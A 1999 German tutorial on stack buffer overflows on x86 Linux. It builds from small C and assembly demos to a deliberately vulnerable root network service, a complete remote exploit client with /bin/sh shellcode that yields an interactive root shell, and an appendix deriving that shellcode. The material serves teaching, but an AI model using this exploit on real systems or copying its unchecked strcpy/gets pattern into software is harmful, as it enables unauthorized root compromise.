Jochen Bauer
Ein »Buffer Overflow Bug« in einem Programm mit erweiterten Privilegien kann zu einem der gefürchtetsten Sicherheitslöcher werden, da sich unter Umständen dadurch die Möglichkeit bietet, beliebigen Maschinencode auf dem Rechner mit den Privilegien des fehlerhaften Programms auszuführen. Leider wird in den meisten Sicherheitsadvisories verschwiegen, wie dies eigentlich funktioniert1, weshalb in diesem Artikel eine Einführung in das Wesen und die Ausnutzung von Buffer Overflow Bugs gegeben werden soll. Getreu dem Motto »No Security by Obscurity«, was in diesem Zusammenhang soviel bedeutet wie: Durch Geheimhaltung von Informationen, wie eine Sicherheitslücke ausgenutzt werden kann, läßt sich keine wirkliche Sicherheit erreichen, wird in diesem Artikel die Ausnutzung von Buffer Overflow Bugs detailliert mit Programmbeispielen beschrieben. Zum Verständnis dieses Artikels sind grundlegende Kenntnisse der Programmiersprache »C«, sowie rudimentäre Kenntnisse in Assemblerprogrammierung nötig (Sie sollten beispielsweise wissen, was ein Stapelspeicher, auch Stack genannt, ist.) Während das Prinzip eines Buffer Overflow Bugs und dessen Ausnutzung immer dasselbe ist, ist die konkrete Durchführung stark von der zugrundeliegenden Systemarchitektur abhängig. In diesem Artikel wird die Intel x86 Architektur unter dem Betriebssystem Linux als Beispiel herangezogen. Alle vorgestellten Beispielprogramme funktionieren ausschließlich unter einem solchen System.
/*Beispiel: demo1.c*/ #include <stdio.h> void senseless() { char a[16]; char b[32]; strcpy(a,"123456789abcdef"); printf("a enthaelt: %s\n",a); b[32]='X'; b[33]='Y'; b[34]='Z'; printf("a enthaelt jetzt: %s\n",a); return; } main() { printf("Buffer Overflow demo\n"); senseless(); }Im Unterprogramm »senseless« werden zwei Arrays angelegt. Array »a« bietet Platz für 16 Byte, Array »b« hat eine Länge von 32 Byte; das letzte zulässige Element von Array »b« ist daher »b[31]«. Durch die Anweisungen »b[32]='X'«, »b[33]='Y'« und » b[34]='Z'« schreiben wir gezielt Daten in einen unzulässigen Bereich hinter der Grenze von Array »b«. Interessanterweise hat sich durch diese Aktion der Inhalt des Array »a« verändert: Die ersten drei Bytes von Array »a« wurden überschrieben! Offensichtlich liegt Array »a« direkt hinter Array »b« im Speicher.
Im nächsten Beispielprogramm verwenden wir die »strcpy« Funktion zum Kopieren von mit einem Nullbyte terminierten Zeichenketten, um den Array »a« zu überschreiben«
/*Beispiel: demo2.c*/ #include <stdio.h> void senseless() { char a[16]; char b[32]; strcpy(a,"123456789abcdef"); printf("a enthaelt: %s\n",a); strcpy(b,"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"); printf("a enthaelt jetzt: %s\n",a); return; } main() { printf("Buffer Overflow demo\n"); senseless(); }Da die »strcpy« Funktion einen String ohne Bereichsgrenzenüberprüfung bis zum abschließenden Nullbyte kopiert, wird die für den Array »b« zu große Zeichenkette trotzdem bis zum abschließenden Nullbyte in den Array »b« kopiert, wodurch wieder der Array »a« überschrieben wird.
Wir haben in diesem Abschnitt gesehen, wie man solche »Buffer Overflows« gezielt zum überschreiben von Programmdaten im Speicher ausnutzen kann. Im nächsten Schritt wollen wir sehen, wie man nicht nur Daten, sondern auch den Programmablauf durch überschreiben von Speicherbereichen verändern kann. Dazu müssen wir uns mit dem vom Compiler aus einer C Quelldatei erzeugten Maschinencode befassen.
.file "demo1.c" .version "01.01" gcc2_compiled.: .section .rodata .LC0: .string "123456789abcdef" .LC1: .string "a enthaelt: %s\n" .LC2: .string "a enthaelt jetzt: %s\n" .text .align 16 .globl senseless .type senseless,@function senseless: pushl %ebp movl %esp,%ebp subl $48,%esp pushl $.LC0 leal -16(%ebp),%eax pushl %eax call strcpy addl $8,%esp leal -16(%ebp),%eax pushl %eax pushl $.LC1 call printf addl $8,%esp movb $88,-16(%ebp) movb $89,-15(%ebp) movb $90,-14(%ebp) leal -16(%ebp),%eax pushl %eax pushl $.LC2 call printf addl $8,%esp jmp .L1 .align 16 .L1: movl %ebp,%esp popl %ebp ret .Lfe1: .size senseless,.Lfe1-senseless .section .rodata .LC3: .string "Buffer Overflow demo\n" .text .align 16 .globl main .type main,@function main: pushl %ebp movl %esp,%ebp pushl $.LC3 call printf addl $4,%esp call senseless .L2: movl %ebp,%esp popl %ebp ret .Lfe2: .size main,.Lfe2-main .ident "GCC: (GNU) 2.7.2.3"Befassen wir uns zunächst mit dem Aufruf des Unterprogramms »senseless«: Dies geschieht mit »call senseless«. Dabei legt der Prozessor den aktuellen Befehlszeiger, der auf den nächsten auszuführenden Befehl im Speicher zeigt, auf den Stack, um ihn von dort wieder holen zu können, und damit nach der Rückkehr aus dem Unterprogramm das Hauptprogramm an der richtigen Stelle fortsetzen zu können. Die erste Aktion des Unterprogramms ist es, den Wert des »ebp« Prozessorregisters auf den Stack zu legen, um dieses Register im Unterprogramm mit anderweitigen Daten füllen zu können. Als nächstes wird der aktuelle Wert des Stackpointers in genau dieses »ebp« Register geschrieben, womit Speicherstellen auf dem Stack relativ zu dieser Anfangsposition des Stackpointers adressiert werden können. Als nächstes wird der Stackpointer um 48 Byte erhöht. Da auf der x86 Architektur der Stack zu kleineren Speicheradressen hin wächst, geschieht dies durch den Subtraktionsbefehl »subl $48«. Dadurch entsteht ein freier Bereich von 48 Byte auf dem Stack, der zur Ablage der lokalen Variablen des Unterprogramms, in unserem Fall der beiden Arrays »a« und »b«, genutzt wird. Aus dem weiteren Programmablauf läßt sich erkennen, daß der Array »a« direkt unter dem Array »b« auf dem Stack, d.h. direkt hinter dem Array »b« im Speicherliegt.
Es verwundert nun nicht mehr, daß das hinausschreiben über die Grenze von Array »b« Werte im Array »a« überschreibt, sei es durch explizites Schreiben, oder durch Verwendung der »strcpy« Funktion. Es fällt weiterhin sofort auf, daß es durch weiteres hinausschreiben über die Grenze von Array »b«, bzw. Array »a« möglich ist, die auf dem Stack liegende Rücksprungadresse ins Hauptprogramm, die durch den »call senseless« Befehl dort abgelegt wurde und vom »ret« Befehl beim beenden des Unterprogramms in das Befehlszeigerregister des Prozessors geladen werden wird, zu überschreiben. Wir haben damit die Möglichkeit, dem Prozessor eine beliebige Speicherposition anzugeben, von der nach verlassen der Unterprogramms der nächste zu verarbeitende Befehl geholt wird, und die »Programmausführung« fortgesetzt wird.
Dies wird durch das nächste Beispielprogramm gezeigt:
/*Beispiel: demo3.c*/ #include <stdio.h> unsigned int addresse; void nonsense() { printf("Ich bin jetzt im Unterprogramm nonsense\n"); return; } void senseless() { char a[16]; printf("Ich bin jetzt im Unterprogramm senseless\n"); addresse=(unsigned int)nonsense; printf("Addresse der Funktion nonsense ist: 0x%x\n",addresse); memcpy(a+20,&addresse,4); return; } main() { printf("Buffer Overflow demo\n"); senseless(); }In dem Unterprogramm »senseless« schreiben wir in die globalen Variable »unsigned int addresse« die Adresse des Unterprogramms »nonsense«. Wie man sich leicht anhand der vorangegangenen Beispiele und Stackdiagramme ausmalen kann, wird durch schreiben in den Speicherbereich von »a[20]« bis »a[24]« die Rücksprungadresse in das Hauptprogramm überschrieben. Wir tragen in diesen Speicherbereich nun einfach die Adresse des Unterprogramms »nonsense« ein. Tatsächlich wird nach Beendigung des Unterprogramms »senseless« das Unterprogramm »nonsense« angesprungen und ausgeführt! Da durch diese irreguläre Aktion alle Rücksprungadressen durcheinandergekommen sind, wird beim Versuch, das Unterprogramm »nonsense« zu verlassen, das Programm an einer Speicherstelle ohne sinnvolle Prozessoranweisungen fortgesetzt, was über kurz oder lang zu einer Beendigung des Programms wegen einer Speicherschutzverletzung führt.
Bisher haben unsere Beispielprogramme immer absichtlich eigene Speicherstellen überschrieben, um die damit verbundenen Effekte zu zeigen. Bei einem Programm, daß einen Buffer Overflow Bug enthält, werden dagegen an einer Stelle Daten, die aus der Eingabe an das Programm stammen in einen Array geschrieben, ohne zu überprüfen, ob dessen Länge für die Datenmenge auch ausreicht. Ein einfaches Beispiel für ein solches Programm werden wir im nächsten Abschnitt betrachten.
/*This is a simple victim program, that contains a buffer overflow bug.*/ /*It will take input from stdin and send output to stdout. Use inetd to*/ /*use it as a network service. */ /* */ /* Written 1999 by Jochen Bauer <jtb@theo2.physik.uni-stuttgart.de> */ #include <stdio.h> void backprint(char *name) { char buffer[256]; int i; strcpy(buffer,name); /*<-- Buffer overflow bug is right here*/ printf("backwards, your name reads:\n");fflush(stdout); for(i=strlen(buffer);i>=0;i--) printf("%c",buffer[i]); printf("\n"); return; } main() { char name[1024]; printf("Name: ");fflush(stdout); gets(name); backprint(name); printf("Bye.\n"); }Um daraus einen Netzwerkdienst zu machen, müssen wir dem Programm einen Netzwerkport zuweisen, und es vom Internet Daemon (inetd) bei Anforderung starten lassen. Dazu können wir in /etc/services den Eintrag
victim 100/tcp #Beispiel fuer Buffer Overflow Bughinzufügen, und /etc/inetd.conf mit
victim stream tcp nowait root [victim binary mit vollem pfad] victimergänzen. Bitte beachten Sie, daß dieses Programm den Root Compromise des Rechners ermöglicht; wie das geht wollen wir ja schließlich untersuchen. Benutzen Sie daher am besten zwei vom Netz getrennten Rechner als Versuchsobjekte. Sie können auch nur mit einem Rechner über das Loopback Interface arbeiten, indem Sie als Zieladresse 127.0.0.1 angeben. Nachdem dem inetd ein SIGHUP Signal geschickt wurde, sollte der neue »Netzwerkdienst« verfügbar sein. Die ordnungsgemäße Benutzung geschieht mit »telnet Zieladresse 100«. Das sollte dann ungefähr so aussehen:
jtb@luna:> telnet 127.0.0.1 100 Trying 127.0.0.1... Connected to 127.0.0.1. Escape character is '^]'. Name: Freddy The Freeloader backwards, your name reads: redaoleerF ehT ydderF Bye. Connection closed by foreign host.So ungefährlich dieses Programm auch auf den ersten Blick aussehen mag, es ermöglicht, wie bereits erwähnt den sofortigen Root Compromise des Rechners von einem anderen Rechner aus: Das Programm »victim« wird vom inetd, wie die meisten Netzwerkdienste, als Benutzer Root gestartet5. Da der Benutzer dieses Programms über das Netz aber nur unkritische Möglichkeiten hat, nämlich das Eingeben eines Namens, ist dies zunächst kein Sicherheitsloch. Vergleichen Sie dieses mit dem Finger Daemon, der auch unter dem Benutzer Root läuft: Der Benutzer des Finger Dienstes hat über das Netz »nur« die Möglichkeit, Informationen über das System und seine Benutzer zu erhalten, nicht mehr. Ein Buffer Overflow Bug bietet nun die Möglichkeit, aus diesem Käfig der genau vorgegebenen Benutzungsmöglichkeiten des Netzwerkdienstes auszubrechen, und beliebigen Maschinencode auf dem Zielrechner auszuführen.
Sehen wir uns zunächst das fehlerhafte Programm an. Der Buffer Overflow Bug ist leicht zu finden. In der Unterfunktion »backprint« wird der über das Netz eingegebene Name, der bis zu 1022 Zeichen lang sein kann6 zur Weiterverarbeitung in einen mit 256 Bytes viel zu kleinen Puffer kopiert. Da die »strcpy« Funktion, die den Kopiervorgang bis zum abschließenden Nullbyte des Namens durchführt, verwendet wird, kann man durch Eingabe eines Namens, der länger als 256 Zeichen ist, erreichen, daß über den Puffer »char buffer[256]« hinausgeschrieben wird. Wir können daher die Rücksprungadresse aus dem Unterprogramm »backprint« mit einer in dem eingegebenen Namen untergebrachten Adresse überschreiben7. Wie aber läßt sich nun beliebiger Maschinencode ausführen? Einfach dadurch, daß dieser Maschinencode in den ersten 256 Byte des eingegebenen Namens untergebracht wird, und sich daher nach Aufruf des Unterprogrammes »Backprint« und der Ausführung des »strcpy« Befehls in dem Array »char buffer[256]« befindet. Wir können dann die Rücksprungadresse in das Hauptprogramm auf dem Stack mit der Adresse des sich in »char buffer[256]« befindlichen Maschinencodes überschreiben und erreichen, daß dieser bei der versuchten Rückkehr ins Hauptprogramm angesprungen und ausgeführt wird. Die Rücksprungadresse darf natürlich keine Nullbytes enthalten, da dies den Kopiervorgang beenden würde. Soweit die prinzipiellen Überlegungen. Wollen wir nun in der Praxis einen Angriff gegen den betreffenden Rechner unter Ausnutzung des Buffer Overflow Bugs in unserem neuen Netzwerkdienst fahren, so sind noch einige technische Probleme zu lösen. Damit befaßt sich der nächste Abschnitt.
#include <stdio.h> void main() { char a[4]; printf("Addresse des Arrays ist 0x%x\n",a); }Dieses, bzw. der daraus erzeugte Maschinencode tut nichts anderes, als einen Array auf dem Stack anzulegen und dessen Adresse auszugeben. Durch Ausprobieren auf verschiedenen Rechnern erhalten wir z.B. die Ergebnisse 0xbffff8b4, 0xbffff714, 0xbffff764, 0xbffff774, 0xbffff714, 0xbffff724, 0xbffff744. Die Adresse wird um so niedriger sein, je mehr Bytes bereits auf dem Stack liegen8. In der Regel werden bei größeren, komplexeren Programme wesentlich mehr Bytes auf dem Stack liegen, als bei diesem kleinen Testprogramm, so daß wir die eben erhaltenen Werte als ungefähre Obergrenze für die unbekannte Pufferposition nehmen können, und uns davon ausgehend nach unten tasten können, indem wir einfach Rücksprungadressen ausprobieren und sehen, ob der eingebrachte Maschinencode ausgeführt wird. Da aber das byteweise nach unter tasten ein viel zu großer Aufwand wäre, verwenden wir folgenden Trick: Wir sorgen dafür, daß der Maschinencode im hinteren Teil des Puffers, den wir überschreiben wollen, liegt und füllen die Lücke zwischen Pufferanfang und dem Maschinencode mit »No Operation« (NOP) Maschinenbefehlen auf, die vom Prozessor einfach überlesen werden, ohne eine Aktion auszuführen, und »zielen« mit der Rücksprungadresse in die Mitte dieses Bereiches. Treffen wir mit unserer Rücksprungadresse irgendwo in diesen Bereich von NOP Befehlen, so läuft der Prozessor durch bis zu dem am Ende stehenden Maschinencode, der dann ausgeführt wird. Sind wir aufgrund der Puffergröße also z.B. in der Lage einen Bereich mit 100 Byte NOP Befehlen anzulegen, so können wir uns in 100 Byte Schritten mit der Rücksprungadresse nach unten tasten.
An dieser Stelle muß man sich noch über einen zweiten Unsicherheitsfaktor im Klaren sein. Nämlich den, daß die Position des Puffers auf dem Stack variieren kann, indem z.B. vom Compiler Variablen auf dem Stack umgeschichtet werden9. Wir können in unserem konkreten Beispiel nicht davon ausgehen, daß in jedem Fall der Puffer »char buffer[256]« unter der Variable »int i« auf dem Stack liegt, und die Rücksprungadresse unter »buffer[260]« bis »buffer[264]« erreichbar ist. Diese Unsicherheit können wir eliminieren, indem wir den »Angriffspuffer«, mit dessen Inhalt der Zielpuffer überschrieben wird deutlich größer als diesen Puffer machen, und den Platz hinter dem Maschinencode durch aneinanderreihen der Rücksprungadresse füllen. Eine dieser Kopien der Rücksprungadresse wird dann mit hoher Wahrscheinlichkeit an der richtigen Stelle liegen. In unserem Beispiel wollen wir eine Angriffspuffergröße von 356 Byte wählen. Die folgende Abbildung stellt den Angriffspuffer der Situation auf dem Stack gegenüber und sollte manches klarer werden lassen.
Die Antwort auf die zweite Frage ist sehr einfach: Wir wollen eine interaktive Shell starten. Damit können wir alle weiteren denkbaren Aktionen interaktiv auf dem Zielrechner vornehmen10. Der Start einer Shell kann über die »exec« Kernelfunktion vorgenommen werden. Deren Aufrufsequenz muß in Assembler programmiert werden, und kann nach der Assemblierung mit Hilfe eines Debuggers als Maschinencode betrachtet und in das Angriffsprogramm übertragen werden. Da das »zusammenbasteln« dieses Maschinencodes etwas Kenntnis der ix86 Programmierung erfordert, andererseits uns momentan aber keine neuen Erkenntnisse bringt, verlegen wir die Erstellung des Maschinencodes in den Anhang. Bis dahin betrachten wird die Maschinencodesequenz im Angriffsprogramm einfach als »Black Box«, von der wir nur zu Wissen brauchen, daß sie eine interaktive Shell aufruft.
Nach diesen Vorüberlegungen ist das eigentliche Schreiben des Angriffsprogramms kein Problem mehr. Die einzelnen Schritte, die wir umzusetzen haben sind:
/*------------------------------------------------------------------------------------*/ /* */ /* Generic buffer overflow demonstration exploit for ix86 */ /* */ /* Written in 1999 by Jochen Bauer <jtb@theo2.physik.uni-stuttgart.de> */ /* */ /* !!This file is intended for educational purposes only!! */ /* */ /* You may only use this file or any modification of it for */ /* educational purposes. You are not allowed to use it to */ /* gain unauthorized access to other computer systems */ /* */ /* DISCLAIMER: I am NOT responsible for what YOU do with this file. */ /* */ /*------------------------------------------------------------------------------------*/ #include <stdio.h> #include <errno.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <unistd.h> #include <stdlib.h> #include <time.h> #include <string.h> #define PORT 100 /*target port*/ #define NOP 0x90 /*NOP instruction on ix86*/ #define CODE_OFFSET 200 /*offset for machinecode in buffer*/ #define BUFFER_LOCATION 0xbffff36c /*guessed location of the target buffer*/ #define ATTACK_BUFFER_SIZE 356 /*size of the target buffer + overflow*/ /*WARNING: CODE_OFFSET, BUFFER_LOCATION AND ATTACK_BUFFER_SIZE MUST BE MULTIPLES OF 4*/ /*the machine code that will execute /bin/sh*/ char shellcode[] = "\xeb\x18\x5d\x31\xc0\x88\x45\x07\x89\x6d\x08\x89\x45" "\x0c\xb0\x0b\x89\xeb\x8d\x4d\x08\x8d\x55\x0c\xcd\x80" "\xe8\xe3\xff\xff\xff/bin/sh"; void usage(char *name) { printf("Usage: %s target_ip\n",name); /*print usage information*/ exit(1); } main(int argc, char *argv[]) { char string[ATTACK_BUFFER_SIZE]; char buffer[1024]; int i,s,k; unsigned int jumpaddr; struct sockaddr_in dest; fd_set fds,rfds; if(argv[1]==NULL) /*no target? -> display usage information*/ usage(argv[0]); dest.sin_family = AF_INET; dest.sin_port = htons(PORT); dest.sin_addr.s_addr = inet_addr(argv[1]); /*the target*/ printf("Preparing attack string.\n"); memset(string,NOP,sizeof(string)); memcpy(string+CODE_OFFSET,shellcode,strlen(shellcode)); /*copy the machine code into the string*/ printf("Wrote %u bytes of machine code into string\n",strlen(shellcode)); /*INFO: ((x+3)/4)*4 yields the next bigger value than x that is a multiple of 4*/ jumpaddr=BUFFER_LOCATION+((CODE_OFFSET/2+3)/4)*4; printf("jumpaddress into the buffer is 0x%x\n",jumpaddr); printf("Writing jumpaddress at offset(s): "); for(k=((CODE_OFFSET+strlen(shellcode)+3)/4)*4; k<=sizeof(string)-4; k=k+4) { printf("%u ",k); memcpy(string+k,&jumpaddr,4); /*fill rest of string with jumpaddress*/ } printf("\n"); string[sizeof(string)-3]=13; string[sizeof(string)-2]=10; /*carriage return and linefeed*/ string[sizeof(string)-1]=0; /*End of string*/ printf("Attack string ready\n"); s=socket(AF_INET,SOCK_STREAM,6); /*open a socket*/ if(s<0) { perror("socket"); exit(1); } i=connect(s,(struct sockaddr *)&dest,sizeof(struct sockaddr)); if(i<0) /*connect to the target*/ { perror("connect"); exit(1); } printf("Connected to %s\n",argv[1]); /*hear, what the target has to say..*/ i=read(s,buffer,1024); buffer[i]=0; printf("%s\n",buffer); printf("sending attack string....\n"); write(s,string,sizeof(string)); /*send the string to the target*/ i=read(s,buffer,1024); buffer[i]=0; printf("%s\n",buffer); /*If all went well, we will now have a shell on the other side*/ /*the rest of the code will take care of the communication with*/ /*the shell on the remote host*/ FD_ZERO(&rfds); /*clear file discriptor set*/ FD_SET(0,&rfds); FD_SET(s,&rfds); /*put s and stdin in fds*/ while(1) { memcpy(&fds,&rfds,sizeof(rfds)); i=select(s+1,&fds,NULL,NULL,NULL); if(i==0) exit(0); /*session closed*/ if(i<0) { perror("select"); exit(1); } if(FD_ISSET(s,&fds)) /*data from target*/ { i=read(s,buffer,1024); if(i<1) { printf("session closed\n"); exit(0); } write(1,buffer,i); } if(FD_ISSET(0,&fds)) /*data to target*/ { i=read(0,buffer,1024); if(i<1) { printf("session closed\n"); exit(0); } write(s,buffer,i); } } }Einige Anmerkungen zum Programm: Am Anfang können die Definitionen für den Zielport (PORT), die Länge des NOP Bereiches im Angriffspuffer (CODE_OFFSET), die vermutete Position des »Zielpuffers« (BUFFER_LOCATION) und die Größe des Angriffspuffers (ATTACK_BUFFER_SIZE) bei Bedarf geändert werden. Eine Notwendigkeit hierfür sollte allerdings nur bei der Position des Zielpuffers bestehen. Bitte beachten Sie, daß der verwendete Wert durch 4 teilbar sein muß. Die in den Angriffspuffer geschriebene Sprungadresse wird automatisch auf eine durch 4 teilbare Speicheradresse in der Mitte des NOP Bereiches gesetzt, dabei muß die geratene Posistion des Zielpuffers aber so gewählt worden sein, daß diese Adresse keine Nullbytes enthält. Da sich aus Platzgründen keine Namensauflösungsroutine im Programm befindet, muß als Ziel immer die IP Adresse des betreffenden Rechners angegeben werden. Schlägt der Angriffsversuch fehl, was meistens auf eine falsch geratene Position des Zielpuffers zurückzuführen ist, so wird, aufgrund der Beendigung des Programms »victim« durch eine Speicherschutzverletzung die Verbindung beendet. Ist der Angriff erfolgreich, so sehen Sie keinen Shellprompt, haben aber trotzdem eine interaktive Shell zur Verfügung; geben Sie einige Shellbefehle ein, um dies zu sehen. Das Kommando »id« wird ihnen zeigen, daß es sich bei dieser Shell um eine Rootshell handelt11. Zum Auffinden der korrekten Position des Zielpuffers denken Sie an die weiter oben besprochene Strategie: Beginnen Sie bei einer Position von etwa 0xbffff900 und tasten Sie sich in 200 Byte Schritten nach unten. Möglicherweise funktioniert aber auch schon die in der vorliegenden Version des Programms vorgegebene Adresse.
Happy Hacking!12
#include <stdio.h> main() { char *a[2]; a[0]="/bin/sh"; a[1]=NULL; execve(a[0],a,NULL); }Dem »execve« Aufruf müssen als Argumente ein Pointer auf den String »/bin/sh«, ein Pointer auf die NULL-terminierte Argumentliste, die hier nur aus dem Programmnamen »/bin/sh« besteht, und ein Umgebungsvariablenpointer, der auch NULL sein kann, übergeben werden. Dies geschieht durch Übergabe von »a[0]«, »a« und einem NULL Pointer als Umgebungsvariablenpointer. Der Aufruf der entsprechenden Kernelfunktion von einem Assemblerprogramm aus, geschieht folgendermaßen:
Wir benötigen zunächst den String »/bin/sh«, im Speicher. Dessen Adresse müssen wir der Kernelfunktion im »ebx« Prozessorregister übergeben. Um die Argumentliste zu erhalten, müssen wir als nächstes die Adresse des Strings »/bin/sh« im Speicher ablegen und 4 Nullbytes dahinterschreiben (NULL-terminierung!). Die Speicheradresse dieses Bereiches, die ja der Pointer auf die Argumentliste ist, müssen wir der Kernelfunktion im »ecx« Prozessorregister übergeben. Als letztes Argument muß noch ein Pointer auf einen NULL Pointer, anstelle des nicht vorhandenen Pointers auf die Umgebungsvariablen, im »edx« Prozessorregister übergeben werden. Ist dies alles erledigt, so können wir die Kernelfunktionsnummer für den »exec« Aufruf in das »eax« Prozessorregister schreiben und einen Softwareinterrupt auslösen. Zunächst aber stehen wir vor einem Problem: Da wir die spätere Adresse des Maschinencodes im Zielpuffer nicht kennen, wissen wir nicht, an welcher Speicheradresse der String »/bin/sh« liegen wird und können diese daher nicht als Kernelfunktionsparameter übergeben! Die Lösung dieses Problems geschieht durch folgenden Trick: Wir setzen unmittelbar vor den String »/bin/sh« eine »call« Anweisung, die nicht zu einen Unterprogramm, sondern in die Maschinencodesequenz selber zurückführt. Da bei einer »call« Anweisung die nachfolgende Speicheradresse als vorgesehene Rücksprungadresse ins Hauptprogramm auf den Stack gelegt wird, können wir die Adresse des Strings »/bin/sh« anschließend vom Stack holen. Da das Kopieren des Maschinencodes auf dem Zielrechner in den Puffer »char buffer[256]« durch die »strcpy« Routine vorgenommen wird, die ein Nullbyte als Stringende betrachtet, darf der aus dem Assemblerprogramm resultierende Maschinencode keine Nullbytes enthalten. Wir müssen daher manchmal zu etwas merkwürdig anmutenden Assemblerkonstruktionen greifen, um Nullbytes im Maschinencode zu vermeiden, insbesondere müssen wir das terminierende Nullbyte hinter dem String »/bin/sh« nachträglich anfügen.
Das Assemblerprogramm kann nun mit Hilfe der Inline Assembler Funktionalität des GNU C Compilers erstellt werden.
void main() { __asm__(" jmp 0x18 #jump to call instruction popl %ebp #get address of string into ebp xorl %eax,%eax #clear eax movb %eax,0x7(%ebp) #terminate string movl %ebp,0x8(%ebp) #copy address of string to 0x8(ebp) movl %eax,0xc(%ebp) #copy NULL word to 0xc(ebp) movb $0xb,%al #copy exec kernel function number to eax movl %ebp,%ebx #copy address of string to ebx leal 0x8(%ebp),%ecx #copy address of argumentlist to ecx leal 0xc(%ebp),%edx #copy address of the NULL word to edx int $0x80 #trigger software interrupt call -0x1d #return with address of string on the stack .string \"/bin/sh\" "); }Mit der ersten »jmp« Anweisung springen wir die unmittelbar vor dem String »/bin/sh« liegende »call« Anweisung an, die wiederum einen Sprung auf den ersten Befehl hinter der »jmp« Anweisung ausführt. Die relativen Sprungadressen erhält man entweder durch Kenntnis der Befehlslängen und Abzählen der Bytes, oder »experimentell« durch eintragen von »dummy-Werten« , disassemblierung und Anpassen der Werte. Kompiliation des Programmes und disassemblierung der Funktion »main« liefert nun
0x8048460 (main): pushl %ebp 0x8048461 (main+1): movl %esp,%ebp 0x8048463 (main+3): jmp 0x804847d (main+29) 0x8048465 (main+5): popl %ebp 0x8048466 (main+6): xorl %eax,%eax 0x8048468 (main+8): movb %al,0x7(%ebp) 0x804846b (main+11): movl %ebp,0x8(%ebp) 0x804846e (main+14): movl %eax,0xc(%ebp) 0x8048471 (main+17): movb $0xb,%al 0x8048473 (main+19): movl %ebp,%ebx 0x8048475 (main+21): leal 0x8(%ebp),%ecx 0x8048478 (main+24): leal 0xc(%ebp),%edx 0x804847b (main+27): int $0x80 0x804847d (main+29): call 0x8048465 (main+5) 0x8048482 (main+34): das 0x8048483 (main+35): boundl 0x6e(%ecx),%ebp 0x8048486 (main+38): das 0x8048487 (main+39): jae 0x80484f1 0x8048489 (main+41): addb %cl,0x90c35dec(%ecx) 0x804848f (main+47): nopWir sehen, daß unser Maschinencode an der relativen Position »<main+3>« beginnt und an der relativen Position »<main+33>« endet. Danach folgt der String »/bin/sh«. Durch einen Dump des entsprechenden Speicherbereiches erhalten wir den dazugehörigen Maschinencode, den wir in dem Angriffsprogramm verwenden können.
Copyright © 1999 Jochen Bauer <jtb@theo2.physik.uni-stuttgart.de>,
<jochen.bauer@rus.uni-stuttgart.de>.
Die in diesem Artikel zur Verfügung gestellten Informationen und Programme
sind ausschließlich für Lehrzwecke bestimmt und dürfen
nicht zum unauthorisierten eindringen in Computersysteme verwendet werden.
Die Verwendung der in diesem Artikel gegebenen Anleitungen und Beispielprogramme
erfolgt auf eigene Gefahr!